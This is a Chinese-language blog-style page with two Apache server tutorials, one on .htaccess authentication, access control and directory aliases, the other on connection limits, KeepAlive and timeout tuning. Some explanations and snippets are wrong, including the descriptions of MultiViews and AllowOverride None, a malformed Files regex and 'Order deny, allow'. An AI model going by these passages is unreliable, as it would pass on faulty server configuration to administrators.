在Apache中给用户提供了三个配置文件: srm.conf、 access.conf 和 httpd.conf files。实际上这三个文件是平等的,所有的配置都可以放在一个单独的httpd.conf文件中,事实上在Apache 1.3.2中就已经这样做了,在httpd.conf中应包括以下两条指令来防止Apache对srm.conf和access.conf两个配置文件的访问:
AccessConfig /dev/null
ResourceConfig /dev/null
在apache1.3.2中只要注释掉以下这两行即可:
AccessConfig conf/access.conf
ResourceConfig conf/srm.conf
五、用户授权和访问控制
你也许在访问某些网站时会遇到过这样的情况,当你点击某个连接时,你的浏览器会弹出一个身份验证的对话框,要求输入账号及密码,如果没有,就无法继续浏览了。有人会以为这是用CGI做出来的,其实不然,这是WWW服务器的用户授权和访问控制机制在发挥作用。

你是否还记得在设置Apache服务环境的过程中,有<Directory>……..<./Directory>这个指令,可以对不同的目录提供不同的保护。但是这样的设定,需要重新启动服务器才会生效,灵活性较差,通过AccessFile指令指定访问控制文件的方式则比较灵活,在Apache服务器中设置用户的访问控制权限步骤如下:
1、首先对httpd.conf文件进行设置如下:
<Directory /home/httpd/html>
# AllowOverride FileInfo AuthConfig Limit
# Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
Options Includes FollowSymLinks Indexes
AllowOverride All //*注意AllowOverride 一定要设置为All,这样后面的.htaccess文件才会起作用
<Limit GET POST OPTIONS PROPFIND>
Order allow,deny
Allow from all
</Limit>
# <Limit PUT DELETE PATCH PROPPATCH MKCOL COPY MOVE LOCK UNLOCK>
# Order deny,allow
# Deny from all
# </Limit>
</Directory>
#指定配置存取控制权限的文件名称
AccessFileName .htaccess
2、创建.htaccess文件內容
要控制某目录的访问权限必须建立一访问控制文件,文件名前面指定的“.htaccess”,其内容格式如下:
AuthUserFile 用户帐号密码文件名
AuthGroupFile 群组帐号密码文件名
AuthName 画面提示文字
AuthType 验证方式
<Limit GET>
密码验证方式
</Limit>
用户验证方式AuthType目前提供了Basic和Digest两种。
密码检验设定方法与httpd.conf中的相关设定相同。
具体例子如下:
AuthUserFile /etc/secure.user
AuthName 安全认证中心
AuthType Basic
<Limit GET>
require valid-user
</Limit>
3、建立用户密码文件
如果你是第一次创建用户密码,命令格式如下:
htpasswd -c 密码文件名 用户名称
在上面的例子中,我们将用户密码文件放到了/etc/secure.user文件中,所以这里应按照如下进行操作:
htpasswd -c /etc/secure.user sword
程序会提示你输入两次用户的口令,然后用户密码文件就已经创建sword这个用户也添加完毕了。
如果要向密码文件中添加新的用户,按照如下命令格式进行操作:
htpasswd 密码文件 用户名称
这样,重新启动httpd后,进行该WEB目录时就会有一个对话框弹出,要求输入用户名及用户口令了。
4、如何减少访问控制对Apache性能的影响
频繁的使用访问控制会对Apache的性能产生较大的影响,那么,如何才能减少这种影响呢?最简单也是最有效的方法之一就是减少.htaccess文件的数目,这样可以避免Apache对每一个请求都要按照.htaccess文件的内容进行授权检查。它不仅在当前的目录中查找.htaccess文件,它还会在当前目录的父目录中查找。
/
/usr
/usr/local
/usr/local/etc
/usr/local/etc/httpd
/usr/local/etc/httpd/htdocs
/usr/local/etc/httpd/htdocs/docs
通常在根目录下没有htaccess文件,但Apache仍然会进行例行检查以确定该文件确实不存在。这是影响很影响服务器工作效率的事情。下面的方法可以消除这个讨厌的过程:将AllowOverride选设置为None,这样Apache就会检查.htaccess文件了。将/根目录的AllowOverride选项设为None,只将需要进行访问控制的目录下的AllowOverride选项设置为all,如下面的例子中将/根目录的AllowOverride 选项关闭了,只打开了/usr/local/etc/httpd/htdocs目录下的AllowOerride选项,这样,系统就只在/usr/local/etc/httpd/htdocs中检查.htaccess文件,达到的提高服务效率的目的。
<Directory />
AllowOverride None
</Directory>
<Directory /usr/local/etc/httpd/htdocs>
AllowOverride All
</Directory>
如果除了根目录以外,还有其它存放WWW文件的目录,你也可以采取同样的方法进行设置。比如:如果你使用UserDir来允许用户访问自己的目录,AllowOverride的设置如下:
<Directory /home/*/public_html>
AllowOverride FileInfo Indexes IncludesNOEXEC
</Directory>
5、防止用户访问指定的文件
系统中有一些文件是不适宜提供给WWW用户的,如:.htaccess、htpasswd、*.pl等,可以用<Files>达到这个目的:
<Files .htaccess>
order allow,deny
deny from all
</Files>
用户访问控制三个.htaccess文件、.htpasswd和.htgroup(用于用户授权),为了安全起见,应该防止用户浏览其中内容,可以在httpd.conf中加入以下内容阻止用户对其进行访问:
<Files ~”/.ht”>
Order deny, allow
Deny from all
</Files>
这样这三个文件就不会被用户访问了。
6、限制某些用户访问特定文件
<Directory>可以对目录进行约束,要限制某些用户对某个特定文件的访问可以使用<Location>,比如:不允许非domain.com域内的用户对/prices/internal.html进行访问,可以用如下的设置:
<Location /prices/internal.html>
order deny,allow
deny from all
allow from .domain.com
</Location>
如果你要授于相应权限的机器没有公开的域名,请在你的/etc/hosts文件中,将其IP地址映射到某个指定的名称,然后在Location中对其进行设置,否则该选项是不起作用的。
7、只接受来自特定链接的访问
例如,只让所有来自 http://www.sina.com.cn/* 的链接的用户进入此目录,由其它链接来的访客都不得进入; " * "表示此网站底下所有的链接。其中的 http://www.sina.com.cn/* 也可以是:http://202.106.184.200/* 或是指定文件 http://www.sina.com.cn/news.html
.htaccess文件的内容如下:
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName ExampleAllowFromSpecificURL
AuthType Basic
<Limit GET>
order deny,allow
deny from all
referer allow from http://www.sina.com.cn/*
</Limit>
六、如何通过Apache访问挂接到mnt中的目录内容
在Linux下,要浏览光盘的内容,必须要先将光盘挂接到/mnt/cdrom上,在Linux下访问dos或其它分区也一样,都要将其先挂接到/mnt下。下面提供的方法,可以通过Apache显示上挂的目录内容:
1、 先将需要挂接的内容挂接到mnt下,如:
mount –t iso9660 /dev/cdrom /mnt/cdrom
2、修改/usr/local/etc/httpd/conf中的srm.conf文件(在Apache1.3.2中修改httpd.conf)
加入别名支持:
# Alias fakename realname
# alias for netware server //
Alias /netware/ /mnt/MYDOM_NW/vol1/home/htmldocs/
Alias /winNT/ /mnt/MYDOM_NT/
Alias /unix/ /mnt/MYDOM_UNIX
其实这一步还有个最简单的方法就是直接在WWW文件目录下建立链接目录,比如:
ln –s /mnt/MYDOM_NT/ winNT
也能达到同样的效果。
3、最后,用Directory 分别指定用户对上面这几个目录的访问权限:
<Direcory “/mnt/MYDOM_NT”>
Options Indexes MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>
注意, Options中的Indexes一定要注明,否则被打开的目录中若没有Index.html文件,用户无法浏览整个目录的结构,服务器会返回错误指示。
这些工作都完成后,别忘了重新启动Apache。在客户端通过 http://www.yourdomain/CDROM/访问光盘内容,其余系统以此类推

#DocumentRoot "/usr/local/apache/htdocs"
#设置存放站点html文件的目录。
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
#设置/目录的指令。具体地说明:
Option:定义在目录内所能执行的操作。
None:表示只能浏览,
FollowSymLinks:允许页面连接到别处,
ExecCGI:允许执行CGI,
MultiViews:允许看动画或是听音乐之类的操作,
Indexes:允许服务器返回目录的格式化列表,
Includes:允许使用SSI。这些设置可以复选。
All:则可以做任何事,但不包括MultiViews。
AllowOverride:加None参数表示任何人都可以浏览该目录下的文件。
另外的参数有:FileInfo、AuthConfig、Limit。

Tags:

Apache服务器是在Linux系统上部署HTTP服务器的一个最佳选择。不仅仅因为其稳定、安全,而且其还能够提供比较优越的性能。不过为了提高Apache服务器的性能,Linux系统管理员还是需要调整一些跟性能相关的参数,在Apache服务器中专门有一个模块用来进行相关的调整。作为系统管理员,在部署Apache服务器应用的时候,需要了解这些参数的含义,并根据网站应用的实际情况来进行相关的调整。要实现这个目的,笔者下面的几条建议或许能够对大家有所帮助。


  建议一:设置最多连接数量。

  为了保障每个连接的客户端的性能,往往需要在服务器中设置在同一时间内允许的客户端数量的上限。如在服务器上部署了电子邮件或者FTP等应用服务,为了能够保障下载的速度,就需要对连接客户端进行最高数量的限制。在Apache服务器中有一个“最多连接数量”的栏目,就是用来设置这个值。另外也可以利用配置文件中的MaxClinets参数来进行设置。通过这个参数,系统管理员可以限制客户端的连接数量与连接时间,以节省带宽来提供其他的服务或者提高已有连接的效率。当客户端的连接数量超过这个最高限制后,所有新建的连接都会被拒绝;当然服务器会把拒绝错误信息返回给客户。

  在进行这个设置的时候,需要注意两个问题。一是在Linux操作系统上配置Xinetd服务的时候也可以进行类似的设置。如通过配置Xinetd服务配置文件中的instances参数可以设置单一服务在同一时间内提供客户端连接请求的最高上限。那么这个参数跟Apache服务器中的连接数量设置是什么关系呢?如instance参数设置为100;而MaxClints参数设置为120。那么最终可以连接到Apache服务器上的客户端数量为多少呢?注意,由于客户端的互联网连接请求是先通过Linux操作系统的,所以在Linux操作系统上的配置往往具有比较高的优先性。为此,当instance参数小于MaxClints参数时,以前者为准;当instance参数大于MaxClints参数时,以后者为准。故有时候客户端提示连接数量超过上限时,系统管理员往往需要同时检查这两个参数,才能够发现问题的真正原因。二是需要考虑在什么情况下需要启用这个限制。一般来说,如果HTTP服务器上的应用主要是在企业内部网络中应用,由于带宽比较理想,为此不需要设置这个限制。但是如果是面向互联网用户的,则往往需要设置这个限制。如企业部署了一个FTP服务器,供互联网的用户下载。由于其带宽是固定的,当下载的用户越多,其能够得到的下载速度也就越低。为此为了给已有连接的用户提供一个比较好的速率,往往就需要设置一个最多连接数。以免连接用户过多而影响下载的速率。

  建议二:允许每次连接可有无限制请求。

  如果是在Solaris Linux上部署Apache服务器的话,最好对这个参数进行设置。这个选项表示当客户端与服务器建立连接后,每个子进程在结束前所能接受的客户端请求上限。当达到这个上限值之后,这个子进程就会中断。这主要是为了避免某些子进程占用过多的服务器资源而导致服务器性能的下降。“设置最多的连接数量”选项主要用来限制客户端的连接数量;而每个客户端在同服务器进行连接的时候可以采用多个子进程与服务器进行连接。如FTP连接一个客户端默认情况下可以采用5个子进程进行连接。而这个客户端下载的总速率就是5个子进程的总合。故在部署Apache服务器的时候,就需要对这个选项进行限制。防止同一个客户端开启了比较多的进程,占用了大量的服务器硬件资源。

  不过需要注意的是,这个参数跟另外一个参数keepalive很相似,但是两者有很大的区别。KeepAlive顾名思义,主要是用来保证客户端与服务器之间的一个持续连接。如果Apache服务器主要用来做视频会议或者提供在线观看电影的话,则这个参数就很有价值。此时如果把这个参数设置为OFF的话,则客户端浏览器可能必须在包含多重组件的网页中,建立许多连接请求。并且在连接的过程中,每个组件都必须进行单独的连接。而这些额外的请求与连接惠增加服务器的负担及网络带宽的损耗。

  在日常的配置中,往往是这个配置选项同时使用。如往往同时启用“允许每次连接可有无限制请求”与KeepAlive选项,并设置可以连接的最大进程数。如此的话,即可以避免因为连接数过多而给服务器带来负担;同时又不会影响多次频繁的连接请求而给服务器带来的额外负担。

  建议三:合理配置超时时间。

  这个选项是指客户端提出连接请求并建立起连接后,最大的空闲时间。如果超过这个时间,客户端与服务器之间仍然没有进行任何的接收或者发送信息的动作,则就会中断这个连接。其实这个选项对于访问者来说是一把双刃剑。一方面限制无用的连接时间(客户端连接上服务器而没有进行任何的请求动作)可以减少带宽的浪费,可以保障其他访者着的带宽;但是另一方面这也比较容易引起客户端使用上的不方便。如访者者可能临时有事走开一会儿(如上了一趟厕所)客户端与服务器端的连接就会中断。客户端需要重新连接服务器,从而需要进行新一轮的连接请求、身份认证等等,这也会耗用服务器的资源与带宽。所以说,这个超时时间对于双方来说,都是有利又有弊。故系统管理员在配置这个选项的时候,需要进行评估,确定是否需要设置这个选项,并为此确定一个合理的超时时间。

  一般来说,如果设置了最大客户端连接数量的话,则最好同时配置这个超时时间。如服务器设置了最大的客户端连接数量为100个,而现在已经有100个客户端连接在Apache服务器上了。但是其中有20个客户端已经1个小时没有动作了。很有可能是其去吃饭或者其他原因忘记关闭网页,而没有中断与服务器的连接。此时这20个客户端的连接其实一种两费。此时如果设置了这个超时时间的话,如超过10分钟没有任何数据传送动作的话就自动关闭这个客户端的连接。很明显这可以提高这个连接点数的利用效率。

    另外在Apache服务器配置文件中,有一个KeepAliveTimeout参数,跟这个超时时间比较相似。这个参数主要用来设置客户端与服务器建立连接后,客户端提出两个请求之间的时间间隔。如果超过一定的时间间隔,客户端并没有再提出另外一个请求,则这个连接声明即中断。可见这个连个选项的功能很类似,不过其中有一个很重要的区别。因为在客户端与服务器连接的时候大致分为两个阶段。第一个阶段为客户端提出连接但是服务器还没有响应;第二个阶段为客户端与服务器之间已经建立连接。前面这个参数的话适用这两个阶段中的任何一个阶段。而后面这个参数则只适合第二个阶段,即连接后的控制。在其他方面基本上没有区别。故在大部分情况下,这两个选项可以通用。总之,是否需要采用这个选项需要根据服务器的应用情况来定。作为系统管理员,需要在服务器性能与用户便利性之间取得一种平衡。这种平衡往往很难实现。需要系统管理员进行多次的测试、调整、用户意见反馈,最终才能够得到一个合理的答案。


  建议四:慎用允许持久性连接。

  在服务器性能调整选项卡中,有“允许持久性连接”这项内容。如果选中这项内容的话,就表示客户端与服务器之间的连接永远有效,除非客户端手工中断与服务器之间的连接(如关闭网页或者重新启动客户端)。如果把配置文件中的KeepAliveTimeout参数设置为Ture,也可以起到类似的效果。对于这个选项来说,系统管理员需要慎用。因为根据经验,一般用户不会主动去关闭网页。也就是说,不会主动去中断客户端与服务器端之间的连接。他们很可能会在用完电脑需要关机的时候才会中断这个连接。此时在服务器端虽然有很多客户端的连接数量,但是有不少可能都是“死连接”,在很长的一段时间内不会有数据的传送动作。这对于服务器来说,是一种性能上的浪费。为此笔者的意见是,宁可把用户与服务器之间的空闲时间设置的长一点,如2个小时甚至更久,也尽量不要采用持久性连接。
 

Tags:
第一页 上页 24 25 26 27 28 29 30 下页 最后页 [ 显示模式: 摘要 | 列表 ]